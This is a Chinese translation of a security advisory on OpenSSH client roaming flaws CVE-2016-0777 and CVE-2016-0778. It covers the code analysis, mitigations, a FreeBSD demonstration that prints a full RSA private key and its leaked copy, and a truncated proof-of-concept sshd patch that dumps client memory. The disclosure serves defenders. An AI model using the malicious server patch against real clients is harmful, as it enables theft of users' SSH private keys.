转载

OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778 (中文翻译)

OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778 (中文翻译)

OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778

CVE-2016-0777可通过构造ssh恶意服务器,有可能泄漏客户端的内存私钥

本文内容概览

|   信息综述

|   信息泄漏漏洞(CVE-2016-0777)

|   -漏洞分析

|   -私钥泄漏

|   -漏洞缓解方式

|   -实例

|   缓冲区溢出漏洞(CVE-2016-0778)

|   -漏洞分析

|   -私钥披露

|   -文件描述符泄漏

|   致谢

|   概念验证实例

信息综述

从5.4版开始(发布于2010年3月8日),OpenSSH客户端就提供了一个名为“roaming(漫游)”的功能(该功能并未记录在介绍文档中):如果客户端与SSH服务器的通信链接意外中断,当服务器同样支持roaming功能,那么客户端就可以与服务器重新连接,并重新恢复挂起的SSH会话操作。

虽然OpenSSH服务器并不支持roaming功能,但OpenSSH客户端是默认启用这一功能的,而这一功能却存在两个漏洞,恶意SSH服务器或者一台被入侵的可信服务器都可以利用这两个漏洞,并在目标系统中引起信息泄漏(内存泄漏)以及缓冲区溢出(基于堆的)。

在OpenSSH客户端的默认配置下,内存泄漏漏洞是可以直接被攻击者利用的。这个漏洞允许一台恶意SSH服务器直接窃取客户端的私钥,但是具体情况取决于客户端版本,编译器,以及操作系统。很多恶意攻击者可能已经在利用这一信息泄漏漏洞了,一些热门网站或者网络名人也许需要去重新生成他们的SSH密钥了。

另一方面,OpenSSH客户端在默认配置下,也存在一个缓冲区溢出漏洞。但如果攻击者要利用这个漏洞,还需要两个非默认的配置选项:其一为ProxyCommand,第二个选项为ForwardAgent(-A)或ForwardX11(-X)。因此,这个缓冲区溢出漏洞不太可能会对用户产生什么实际影响,但这一漏洞却非常值得我们进行研究和分析。

版本号在5.4至7.1之间的OpenSSH客户端均存在着两个漏洞,但解决这一问题却是非常简单的,用户只需要将“UseRoaming”选项设置为“no”即可,具体信息我们将在漏洞缓解方式这一章节中进行详细讲解。7.1p2版本的OpenSSH客户端(发布于2016年1月14日)默认禁用了roaming功能。

信息泄漏漏洞(CVE-2016-0777)

漏洞分析

如果OpenSSH客户端与一个提供密钥交换算法的SSH服务器进行了连接,那么在身份验证成功之后,它会向服务器发送一个全局请求“roaming@appgate.com”。如果服务器接受了这个请求,客户端便会通过调用malloc()函数(并非调用calloc()),并根据out_buf_size的值来为roaming功能分配一个缓冲区(即out_buf),需要注意的是out_buf_size的值是由服务器进行随机选取的:

63 void          64 roaming_reply(int type, u_int32_t seq, void *ctxt)          65 {          66         if (type == SSH2_MSG_REQUEST_FAILURE) {          67                 logit("Server denied roaming");          68                 return;          69         }          70         verbose("Roaming enabled");          ..          75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());          ..          77 }          40 static size_t out_buf_size = 0;          41 static char *out_buf = NULL;          42 static size_t out_start;          43 static size_t out_last;          ..          75 void          76 set_out_buffer_size(size_t size)          77 {          78         if (size == 0 || size > MAX_ROAMBUF)          79                 fatal("%s: bad buffer size %lu", __func__, (u_long)size);          80         /*          81          * The buffer size can only be set once and the buffer will live          82          * as long as the session lives.          83          */          84         if (out_buf == NULL) {          85                 out_buf_size = size;          86                 out_buf = xmalloc(size);          87                 out_start = 0;          88                 out_last = 0;          89         }          90 }

在客户端与SSH服务器的通信链接意外断开之后,OpenSSH客户端的roaming_write()函数(该函数是write()函数的升级版)会调用wait_for_roaming_reconnect(),并恢复与服务器的连接。该函数还会调用buf_append()函数,该函数可以将客户端发送至服务器的数据信息拷贝到roaming缓冲区out_buf之中。在重新连接的过程中,由于之前的通信连接意外断开,因此客户端会将服务器未接收到的信息重新发送给服务器。

 198 void         199 resend_bytes(int fd, u_int64_t *offset)         200 {         201         size_t available, needed;         202         203         if (out_start < out_last)         204                 available = out_last - out_start;         205         else         206                 available = out_buf_size;         207         needed = write_bytes - *offset;         208         debug3("resend_bytes: resend %lu bytes from %llu",         209             (unsigned long)needed, (unsigned long long)*offset);         210         if (needed > available)         211                 fatal("Needed to resend more data than in the cache");         212         if (out_last < needed) {         213                 int chunkend = needed - out_last;         214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,         215                     chunkend);         216                 atomicio(vwrite, fd, out_buf, out_last);         217         } else {         218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);         219         }         220 }

在OpenSSH客户端的roaming缓冲区out_buf之中,最近发送至服务器的数据起始于索引out_start处,结束于索引out_last。当这一环形缓冲区满了之后,buf_append()仍然会继续进行“out_start = out_last + 1”计算,这样一来,我们就要考虑下列三种不同的情况了:

-"out_start < out_last" (203-204行):out_buf的空间目前还没有满(out_start仍然为0),此时out_buf中的数据总量实际上为“out_last - out_start”;

-"out_start > out_last" (205-206行):out_buf已满(out_start实际上等于“out_last + 1”),此时out_buf中的数据总量实际上就等于整个out_buf_size的大小;

-"out_start == out_last" (205-206行):out-buf中并没有写入任何数据(此时out_start和out_last仍然为0),因为客户端在调用了roaming_reply()函数之后,并没有向服务器发送任何的数据,但是在                    out_buf_size的值存在的情况下,客户端却会将整个未初始化的out_buf发送(泄漏)给了服务器(214行)。

恶意服务器可以成功利用这个信息泄漏漏洞,并从OpenSSH客户端的内存中提取出敏感信息(比如说,SSH私钥,或者在下一步攻击中需要用到的内存地址信息)。

私钥泄漏

一开始我们认为,恶意SSH服务器是无法利用这个存在于OpenSSH客户端roaming功能代码中的信息泄漏漏洞窃取客户端的私钥信息的,因为:

-泄漏出来的信息是无法从越界内存中读取的,但是却可以从客户端的roaming 缓冲区out_buf中读取出来;

-系统会从磁盘中读取私钥信息,并将其加载至内存之中,并且通过key_free()函数(旧版本的API,OpenSSH < 6.7)或者sshkey_free()函数(新版本的API,OpenSSH>=  6.7)进行释放,这两个函数会通过OPENSSL_cleanse()或者explicit_bzero()来清除私钥信息。

-客户端会调用buffer_free()或者sshbuf_free()来清除内存中的临时私钥副本,这两个函数都会尝试使用memset()或bzero()来清除这些副本信息。

但是,在我们进行了实验和分析之后最终发现,虽然上面给出的三点原因并没有问题,但我们仍然可以利用这个信息泄漏漏洞部分或全部提取出OpenSSH客户端中的私钥信息(具体情况取决于客户端版本,编译器,操作系统,堆布局,以及私钥):

(除了这些原因之外,还有一些其他的理由,我们将会在后面的讲解中提到这些信息)

1.如果客户端使用fopen()(或者fdopen(),fgets(),以及fclose())来将一个SSH私钥从磁盘中加载至内存,那么这个私钥的部分信息或者完整信息都会遗留在内存之中。实际上,这些函数都会对他们自己的内部缓冲区进行管理,这些缓冲区是否被清空取决于OpenSSH客户端的代码库,而不是取决于OpenSSH本身。

-在所有存在漏洞的OpenSSH版本中,SSH的main()函数会调用load_public_identity_files(),该函数会调用fopen(),fgets(),以及fclose()来加载客户端的公钥信息。不幸的是,私钥会首先被加载,然后被丢弃。

-在版本号<=5.6的OpenSSH中,load_identity_file()函数会通过fdopen()和PEM_read_privateKey()来加载一个私钥。

2. 在版本号>=5.9的OpenSSH中,客户端的load_identity_file()函数会利用read()从一个长度为1024字节的内存区域中读取私钥信息。不幸的是,对realloc()的重复调用会将私钥的部分信息遗留在内存中无法完全清除。

-在版本号<6.7的OpenSSH中(旧版API),这种变长缓冲区的初始大小为4096个字节:如果私钥文件的大小大于4K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为3K的副本信息保存在一个4K大小的缓冲区中)。幸运的是,只有一个非常大的RSA密钥(比如说,一个8192位的RSA密钥)其大小才会超过4K。

-在版本号>=6.7的OpenSSH中(新版API),这种变长缓冲区的初始大小为256个字节:如果私钥文件的大小大于1K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为1K的副本信息保存在一个1K大小的缓冲区中)。比如说,初始大小为2048位的RSA密钥其大小就超过了1K。

如果你需要了解更多的信息,请访问下列地址:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

漏洞缓解方案

所有版本号大于或等于5.4的OpenSSH客户端都会受到这些漏洞的影响,但是我们可以通过下列操作来降低这些漏洞对我们所产生的影响:

1.存在漏洞的roaming功能代码可以被永久禁用:在系统配置文件中,将“UseRoaming”选项设置为“no”(系统配置文件一般在/etc/ssh/ssh_config下),用户也可以使用命令行来进行设置(-o "UseRoaming no")。

2.如果OpenSSH客户端与带有roaming功能的SSH服务器意外断开了连接,高级用户在接收到系统提示信息后,可能会按下Control+C或者Control+Z,并以此来避免信息泄漏:

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1

[connection suspended, press return to resume]^Z

[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1

私钥泄漏实例:FreeBSD 10.0,2048位RSA密钥

$ head -n 1 /etc/motd

FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V

OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa

 -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=         -----END RSA PRIVATE KEY-----
 # env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] # cat /tmp/roaming-97ed9f59/infoleak MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

缓冲区溢出漏洞的缓解方案(CVE-2016-0778)

所有大于或等于5.4版本的OpenSSH客户端都存在这个缓冲区溢出漏洞,但是这个漏洞也是有相应的漏洞缓解方案的,具体信息请查看原文。

致谢

在此,我们要感谢OpenSSH的开发人员,感谢他们的辛勤工作以及对我们的信息给予了迅速的回应。除此之外,我们还要感谢红帽安全部门为这两个漏洞分配了CVE-ID。

概念验证实例

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c         --- openssh-6.4p1/auth2-pubkey.c  2013-07-17 23:10:10.000000000 -0700         +++ openssh-6.4p1+roaming/auth2-pubkey.c     2016-01-07 01:04:15.000000000 -0800         @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)                       * if a user is not allowed to login. is this an                       * issue? -markus                       */         -             if (PRIVSEP(user_key_allowed(authctxt->pw, key))) {         +            if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {         +                   debug("%s: force client-side load_identity_file",         +                       __func__);                             packet_start(SSH2_MSG_USERAUTH_PK_OK);                             packet_put_string(pkalg, alen);                             packet_put_string(pkblob, blen);         diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c         --- openssh-6.4p1/kex.c    2013-06-01 14:31:18.000000000 -0700         +++ openssh-6.4p1+roaming/kex.c       2016-01-07 01:04:15.000000000 -0800         @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],          }          static void         +roaming_reconnect(void)         +{         +     packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);         +     const u_int id = packet_get_int(); /* roaming_id */ +     debug("%s: id %u", __func__, id); +     packet_check_eom(); + +     const char *const dir = get_roaming_dir(id); +     debug("%s: dir %s", __func__, dir); +     const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); +     if (fd <= -1) +            fatal("%s: open %s errno %d", __func__, dir, errno); +     if (fchdir(fd) != 0) +            fatal("%s: fchdir %s errno %d", __func__, dir, errno); +     if (close(fd) != 0) +            fatal("%s: close %s errno %d", __func__, dir, errno); + +     packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); +     packet_put_int64(arc4random()); /* chall */ +     packet_put_int64(arc4random()); /* oldchall */ +     packet_send(); + +     packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); +     const u_int64_t client_read_bytes = packet_get_int64(); +     debug("%s: client_read_bytes %llu", __func__, +         (unsigned long long)client_read_bytes); +     packet_get_int64(); /* digest (1-8) */ +     packet_get_int64(); /* digest (9-16) */ +     packet_get_int();   /* digest (17-20) */ +     packet_check_eom(); + +     u_int64_t client_write_bytes; +     size_t len = sizeof(client_write_bytes); +     load_roaming_file("client_write_bytes", &client_write_bytes, &len); +     debug("%s: client_write_bytes %llu", __func__, +         (unsigned long long)client_write_bytes); + +     u_int client_out_buf_size; +     len = sizeof(client_out_buf_size); +     load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); +     debug("%s: client_out_buf_size %u", __func__, client_out_buf_size); +     if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) +            fatal("%s: client_out_buf_size %u", __func__, +                      client_out_buf_size); + +     packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); +     packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); +     packet_send(); +     const int overflow = (access("output", F_OK) == 0); +     if (overflow != 0) { +            const void *const ptr = load_roaming_file("output", NULL, &len); +            buffer_append(packet_get_output(), ptr, len); +     } +     packet_write_wait(); + +     char *const client_out_buf = xmalloc(client_out_buf_size); +     if (atomicio(read, packet_get_connection_in(), client_out_buf, +                          client_out_buf_size) != client_out_buf_size) +            fatal("%s: read client_out_buf_size %u errno %d", __func__, +                          client_out_buf_size, errno); +     if (overflow == 0) +            dump_roaming_file("infoleak", client_out_buf, +                                       client_out_buf_size); +     fatal("%s: all done for %s", __func__, dir); +} + +static void  kex_choose_conf(Kex *kex)  {       Newkeys *newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)                     kex->roaming = 1;                     free(roaming);              } +     } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { +            roaming_reconnect(); +            /* NOTREACHED */ +            fatal("%s: returned from %s", __func__, KEX_RESUME);       }       /* Algorithm Negotiation */ diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h   2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h      2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void     resend_bytes(int, u_int64_t *);  void     calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);

由于篇幅有限,在此无法进行详细的讲解,具体信息请查看原文。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。

原文链接:https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt
原文  http://bobao.360.cn/learning/detail/2566.html
正文到此结束
Loading...